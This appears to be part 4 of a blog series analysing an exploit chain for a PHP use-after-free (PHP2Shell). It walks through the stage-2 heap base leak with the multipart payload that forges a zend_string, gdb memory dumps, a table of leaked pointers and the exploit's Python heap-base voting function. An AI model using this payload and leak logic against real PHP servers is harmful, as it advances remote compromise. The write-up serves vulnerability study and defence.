PHP2Shell(CVE-2026–109618 and CVE-2026–109619): Everything You Need to Know: Part 4 – Stage 2

Now, let us look at stage of of the exploit – heap base leakage. This is one of the most interesting and complicated part of this exploit, memory forge is crafted in a clever way.

I am hitting on some trouble debugging PHP from the host with lldb, so this time I am swtiching to a more reliable way: debugging inside the container with gdb instead.

First of all, let us have a look at the content in in stage 2.

--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="PHPSESSID"^M
^M
a^M
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"^M
^M
pwn^M
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="1000"^M
^M
v0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx^M
...
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="1999"^M
^M
AAAAAAAAAAAAAAAA^@^A^@^@^@^@^@^@LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^M
--COOKIE-LAB-BOUNDARY--^M

field 1999 is the critical one. Let us debug this one. We set a condintional breakpoint on this:

b php_register_variable_ex if strcmp(var_name, "1999") == 0
Breakpoint 4.2, php_register_variable_ex (var_name=0x75714e662010 "1999", val=0x7ffd73887f90,
track_vars_array=0x5ad880cc79c0 <filter_globals>) at /usr/src/php/main/php_variables.c:109
109 in /usr/src/php/main/php_variables.c
(gdb) p val->value.str->len
$2 = 79
(gdb) x/80bx val->value.str->val
0x75714e655088: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e655090: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e655098: 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0x75714e6550a0: 0x4c 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00

Now, let us have a look at PS(id)

p ps_globals.id
$6 = (zend_string *) 0x75714e673000
(gdb) x/4gx 0x75714e673000
0x75714e673000: 0x4141414141414141 0x4141414141414141
0x75714e673010: 0x0000000000000100 0x414141414141414c
p/x *(zend_string *)0x75714e673000
$8 = {0x4c, 0x41 <repeats 50 times>} (256 bytes total) = {
gc = {
refcount = 0x41414141,
u = {
type_info = 0x41414141
}
},
h = 0x4141414141414141,
len = 0x100,
val = {0x4c, 0x41 <repeats 50 times>} (256 bytes total)
}

Amazing! ps_globals.id contains the payload we sent, which means it can be controlled.
Note here: if only “1999” has the forged bytes, and “1999”‘s val[] landed at 0x75714e655088, how did the same pattern end up at 0x75714e673000 (PS(id))? The answer: PHP registers each POST variable multiple times — once for $_POST, once for filter globals, possibly once for $_REQUEST. Each registration copies the value. We caught the filter_globals registration (note track_vars_array=<filter_globals> in the breakpoint). An earlier registration of the same field “1999” allocated a different copy at 0x75714e673000 — and that copy is the one that landed on PS(id). Same field, same forged bytes, different copy. Not a spray — a precise placement aided by the 53 grooming fields before it.

Let us have a look how the heap based finally leaked:

x/32gx 0x75714e673018
0x75714e673018: 0x414141414141414c 0x4141414141414141
0x75714e673028: 0x4141414141414141 0x4141414141414141
0x75714e673038: 0x4141414141414141 0x4141414141414141
0x75714e673048: 0x0041414141414141 0x000075714e6730a0
0x75714e673058: 0x0000000000000000 0x0000000000000010
0x75714e673068: 0x8000000000000000 0x00005ad87fd12930
0x75714e673078: 0xc3507157459fd15f 0x000075714e673040
0x75714e673088: 0x53504850203a6569 0x64313d4449535345
0x75714e673098: 0x7a49f9f703444f59 0x000075714e6730f0
0x75714e6730a8: 0x6332363430393139 0x203b623435353932
0x75714e6730b8: 0x43507157459fd15f 0x000075714e673100
0x75714e6730c8: 0x0000000000000000 0x0000000000000000
0x75714e6730d8: 0x0000000000000000 0x0000000000000000
0x75714e6730e8: 0x2a49f9f703444f59 0x000075714e673140
0x75714e6730f8: 0x03517157459fd15f 0x000075714e673140
0x75714e673108: 0x0000000000000000 0x0000000000000000

Leaked heap data (bytes 56–255, the gold):

OffsetAddressValueType
+560x6730500x000075714e6730a0Heap ptr #1
+640x6730580x0000000000000000zero
+720x6730600x0000000000000010size field
+800x6730680x8000000000000000flags
+880x6730700x00005ad87fd12930Code ptr (low 21 bits = 0x112930 = DTOR_LOW21)
+960x6730780xc3507157459fd15fhash
+1040x6730800x000075714e673040Heap ptr #2
+1120x673088"ie: PHPS"ASCII — part of Cookie: PHPSESSID=
+1200x673090"ESSID=1d"ASCII — session ID
+1360x6730a00x000075714e6730f0Heap ptr #3
+1680x6730c00x000075714e673100Heap ptr #4
+2080x6730f00x000075714e673140Heap ptr #5
+2320x6731000x000075714e673140Heap ptr #6

0x75714e6730a0 & ~0x1FFFFF = 0x75714e600000
0x75714e673040 & ~0x1FFFFF = 0x75714e600000
0x75714e6730f0 & ~0x1FFFFF = 0x75714e600000
0x75714e673100 & ~0x1FFFFF = 0x75714e600000
0x75714e673140 & ~0x1FFFFF = 0x75714e600000
6 pointers agree (need 4) → heap_base = 0x75714e600000

The code snippet in the exploit to find the heap base, it needs 4 votes for the heap base.

def heap_candidate(cookie: bytes) -> int | None:
if len(cookie) != 256:
return None
candidates = []
for alignment in range(8): # try all 8 byte offsets
words = (struct.unpack_from("<Q", cookie, pos)[0]
for pos in range(alignment, len(cookie) - 7, 8))
counts = collections.Counter(
value & ~CHUNK_MASK # mask to 2MiB chunk base
for value in words
if HEAP_MIN <= value < HEAP_MAX # keep only heap-range values
)
if counts:
base, hits = counts.most_common(1)[0] # most popular chunk base
candidates.append((hits, alignment, base))
if not candidates:
return None
hits, _alignment, base = max(candidates)
return base if hits >= MIN_POINTER_AGREEMENT else None # need 4+ votes

Below is a summary of stage 2 heap base leak process:

Stage 1:

  1. PHP starts a session → allocates a zend_string for the session ID at 0x75714e673000
  2. PS(id) = 0x75714e673000 (valid pointer to a valid string)
  3. OOM hits → zend_bailout() → longjmp skips cleanup
  4. The heap memory at 0x75714e673000 gets freed back to ZMM, but ZMM doesn’t zero it
  5. PS(id) still points to 0x75714e673000 , now a dangling pointer to freed memory
    Stage 2:
  6. Consumer arrives on the same worker. 55 multipart fields trigger new allocations
  7. ZMM reuses freed memory — one field’s zend_string gets allocated such that its val[] starts at 0x75714e673000
  8. The forged bytes (0x41…41, 0x100, 0x4c…) are written into val[] overwriting the freed memory at 0x75714e673000
    The corruption:
  9. PS(id) still points to 0x75714e673000 — PHP thinks it’s a zend_string
  10. It reads len at offset +0x10 → finds 0x100 (256) instead of the original ~32
  11. Set-Cookie: PHPSESSID= reads 256 bytes from val[] → leaks heap

Clearly, this is a UAF vulnerability. So PS(id) is a stale pointer that was never cleared. The forged payload overwrote the memory it points to. PS(id) doesn’t know the memory changed — it just reads whatever is there now.

The UAF process is explained in the following picture.

Leave a Reply